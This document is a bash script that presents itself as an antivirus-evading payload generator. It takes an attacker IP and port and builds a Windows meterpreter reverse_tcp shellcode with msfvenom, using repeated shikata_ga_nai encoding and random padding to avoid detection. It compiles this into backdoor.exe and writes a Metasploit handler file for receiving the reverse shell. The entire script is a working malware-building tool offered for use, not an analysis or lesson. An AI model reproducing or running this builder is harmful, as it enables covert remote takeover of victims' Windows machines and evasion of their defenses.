FUD_PayGen

#!/bin/bash
# Color Variables
b='\033[1m'
u='\033[4m'
bl='\E[30m'
redbold='\E[1;31m'
red='\E[0;31m'
green='\E[32m'
yellow='\E[33m'
bu='\E[34m'
m='\E[35m'
cyan='\E[36m'
white='\E[37m'
endc='\E[0m'
enda='\033[0m'
clear
echo -e "$redbold
==================================
||                              ||
||         Sh3LlDu5t            ||
||   FUD PayL04d Gen3r4t0r      ||
||                              ||
==================================$endc
"
#Check root Priiledges
if [ "$(id -u)" != "0" ]; then
   echo -e "$red[!] This script must be run as root$endc" 1>&2
   echo
   echo
   exit 1
fi
###
echo -e "$redbold -------------ifconfig------------------ $endc"
int=$(ifconfig | cut -d" " -f1 | sort | grep -v '^$')
for i in $int
do
echo -e "$redbold|$endc Interface $cyan $i $endc has IP $yellow $(ifconfig $i | grep 'inet addr:' | cut -d: -f2 | awk '{print $1}') $endc"
done
echo -e "$redbold --------------------------------------- $endc"
echo
echo -ne "WHat IP are we using: : "
read IP
echo -e "What Port Number are we gonna listen to? : \c"
read port
echo -e "Please enter a random seed number 1-10000, the larger the number the larger the resulting executable : \c"
read seed
echo -e "How many times you want to encode ? 1-20 : \c"
read enumber
rm -rf seclabs
mkdir seclabs
cd seclabs
msfvenom -p windows/meterpreter/reverse_tcp LHOST=$IP LPORT=$port -e x86/shikata_ga_nai -i $enumber -f c > test.c
#Replacing plus signs at the end of line (commented out bcoz ,msfvenom gives no plus signs)
#sed -e 's/+/ /g' test.c > clean.c
#sed -e 's/buf = /unsigned char micro[]=/g' test.c > ready.c
echo "#include <stdio.h>" >> temp
echo 'unsigned char ufs[]=' >> temp
for (( i=1; i<=10000;i++ )) do echo $RANDOM $i; done | sort -k1| cut -d " " -f2| head -$seed >> temp2
sed -i 's/$/"/' temp2
sed -i 's/^/"/' temp2
echo  ';' >> temp2
cat temp2 >> temp
cat test.c >> temp
mv temp ready2.c
echo ";" >> ready2.c
echo "int main(void) { ((void (*)())buf)();}" >> ready2.c
mv ready2.c final.c
echo 'unsigned char tap[]=' > temp3
for (( i=1; i<=999999;i++ )) do echo $RANDOM $i; done | sort -k1| cut -d " " -f2| head -$seed >> temp4
sed -i 's/$/"/' temp4
sed -i 's/^/"/' temp4
echo  ';' >> temp4
cat temp4 >> temp3
cat temp3 >> final.c
#Cleanup of junk useless files :P
#rm -f clean.c
rm -f test.c
#rm -f ready.c
rm -f rand.c
rm -f temp2
rm -f temp3
rm -f temp4
rm -f nul

# compiling..
/usr/bin/i586-mingw32msvc-gcc -Wall final.c -o final.exe > /dev/null 2>&1
mv final.exe backdoor.exe
mv backdoor.exe ../backdoor.exe
mv final.c ../backdoor_shellcode.c
cd ..
rm -rf seclabs/
echo -e "$white Creating metasploit resource file..."
echo -e "use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST $IP
set LPORT $port
exploit -j" > backdoor_handler.rc